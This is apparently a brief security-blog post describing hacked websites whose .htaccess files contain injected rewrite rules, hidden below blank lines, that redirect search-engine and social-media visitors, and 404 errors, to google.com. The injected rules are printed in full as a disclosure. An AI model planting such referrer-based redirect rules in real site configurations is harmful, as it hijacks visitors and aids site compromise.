A few weeks ago we reported the case of a few compromised sites with an .htaccess redirection to msn.com. Now we areseeing a few sites with the same redirection but to google.com.
This is what we are seeing on some hacked sites (.htaccess file):
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|youtube|wikipedia|excite|altavista|msn|aol|goto|infoseek|lycos|search|bing|dogpile|facebook|twitter|live|myspace|linkedin|flickr)\.(.*)
RewriteRule ^(.*)$ http://google.com [R=301,L]
.. lots of empty lines/ white spaces ...
ErrorDocument 404 http://google.comWe have no idea why this hapening. Maybe a bug in the attackers malware injection code, but we can\’t say for sure. We will post more details when we find out what is going on.